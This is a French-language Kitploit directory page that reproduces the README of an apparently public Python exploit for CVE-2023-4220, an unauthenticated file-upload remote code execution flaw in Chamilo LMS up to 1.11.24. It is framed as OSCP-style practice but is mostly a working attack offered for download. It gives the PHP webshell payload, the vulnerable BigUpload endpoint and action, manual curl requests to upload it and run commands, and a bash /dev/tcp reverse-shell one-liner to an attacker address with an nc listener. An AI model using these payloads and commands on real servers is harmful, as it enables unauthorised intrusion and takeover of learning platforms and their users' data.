Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — RCE par téléversement de fichier non authentifié dans Chamilo LMS ≤ 1.11.24. Style OSCP et exploitation automatique. | Kitploit
Outils/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — RCE par téléversement de fichier non authentifié dans Chamilo LMS ≤ 1.11.24. Style OSCP et exploitation automatique.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit ChamiloLMS CVE-2023-4220

Exploit Python pour CVE-2023-4220, une vulnérabilité de téléversement arbitraire de fichiers sans authentification affectant Chamilo LMS <= 1.11.24.

La vulnérabilité se situe dans le composant BigUpload de Chamilo. Sur les installations vulnérables, le gestionnaire de téléversement permet de téléverser un fichier PHP sans validation appropriée. Comme les fichiers téléversés sont stockés dans un répertoire accessible via le web, le fichier PHP téléversé peut être demandé directement et utilisé comme webshell si l'exécution de PHP est activée.

Ce dépôt contient deux versions de l'exploit :

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Les deux scripts téléversent un webshell PHP, vérifient l'exécution de commandes et permettent d'exécuter des commandes via le paramètre GET cmd. La seule différence pratique réside dans la manière dont --shell est géré.

La version auto démarre son propre listener, déclenche le shell inversé et bascule automatiquement sur une session interactive.

La version oscp déclenche la charge utile du shell inversé mais ne démarre pas de listener. Vous devez démarrer votre listener manuellement avant de l'exécuter.


Installation

Clonez le dépôt :

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Installez les dépendances :

root@kitploit:~
python3 -m pip install -r requirements.txt

La seule dépendance externe est requests, elle peut donc aussi être installée manuellement :

root@kitploit:~
python3 -m pip install requests

Utilisation

La cible est passée avec -u ou --url :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Les mêmes options sont disponibles dans les deux scripts :

root@kitploit:~
-u, --url              Target base URL
--check               Check if the BigUpload files directory is reachable
--upload              Upload the webshell and verify command execution
--cmd CMD             Execute a single command through the uploaded webshell
--shell LHOST LPORT   Trigger a reverse shell
--filename NAME       Use a custom filename for the uploaded PHP file
--proxy PROXY         Send traffic through a proxy, for example Burp Suite
--timeout SECONDS     Set the HTTP timeout
--verify-tls          Enable TLS certificate verification
--cleanup             Try to remove the uploaded webshell after execution

La version automatique inclut également :

root@kitploit:~
--listen-timeout SEC  Time to wait for the reverse shell connection

Exemples de base

Vérifiez si le chemin BigUpload attendu est accessible :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Téléversez le webshell PHP et vérifiez l'exécution de commandes :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Exécutez une seule commande :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Utilisez un nom de fichier personnalisé :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Envoyez le trafic via Burp Suite :

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Les exemples ci-dessus utilisent le script auto, mais la même syntaxe peut être utilisée avec chamilo_cve_2023_4220_oscp.py.


Shell inversé

L'option --shell existe dans les deux scripts, mais elle se comporte différemment selon la version utilisée.

Version automatique

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Cette version démarre un listener local sur 10.10.14.3:4444, téléverse le webshell, déclenche le shell inversé et ouvre la session interactive automatiquement.

Vous n'avez pas besoin d'exécuter nc manuellement avec cette version.

Version de type OSCP

Démarrez d'abord votre listener manuellement :

root@kitploit:~
sudo nc -nlvp 4444

Puis exécutez l'exploit depuis un autre terminal :

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Cette version envoie uniquement la charge utile du shell inversé via le webshell téléversé. La connexion est reçue par le listener que vous avez démarré manuellement.

La commande du shell inversé déclenchée par les deux scripts est équivalente à :

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Assurez-vous que la valeur LHOST est accessible depuis la cible. Dans les environnements VPN, il s'agit généralement de l'adresse de votre interface tunnel :

root@kitploit:~
ip -brief addr show tun0

Détails de la vulnérabilité

CVE-2023-4220 affecte les versions de Chamilo LMS jusqu'à la version 1.11.24 incluse.

Le gestionnaire de téléversement vulnérable se trouve à :

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

L'action exploitée par l'exploit est :

root@kitploit:~
?action=post-unsupported

Les fichiers téléversés sont généralement accessibles depuis :

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

L'exploit envoie une requête POST multipart/form-data en utilisant le champ de formulaire attendu par BigUpload :

root@kitploit:~
bigUploadFile

La charge utile PHP téléversée est un petit wrapper de commandes :

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Les commandes sont passées via le paramètre GET cmd :

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

Les marqueurs autour de la sortie de la commande sont utilisés pour extraire la partie pertinente de la réponse HTTP.


Requête manuelle

Le téléversement effectué par les scripts est équivalent à :

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Après un téléversement réussi, l'exécution de commandes peut être testée avec :

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Remarques

--check vérifie uniquement si le répertoire de fichiers BigUpload attendu est accessible. Un résultat positif ne garantit pas que la cible est exploitable.

Une validation complète nécessite de téléverser la charge utile PHP et de confirmer l'exécution de commandes avec --upload ou --cmd.

Si le téléversement fonctionne mais que l'exécution de commandes échoue, l'exécution de PHP peut être désactivée dans le répertoire de téléversement, la cible peut être corrigée, ou une règle côté serveur peut bloquer la requête.

Utilisez --cleanup si vous voulez que le script tente de supprimer le fichier PHP téléversé après l'exécution.

Télécharger l’outil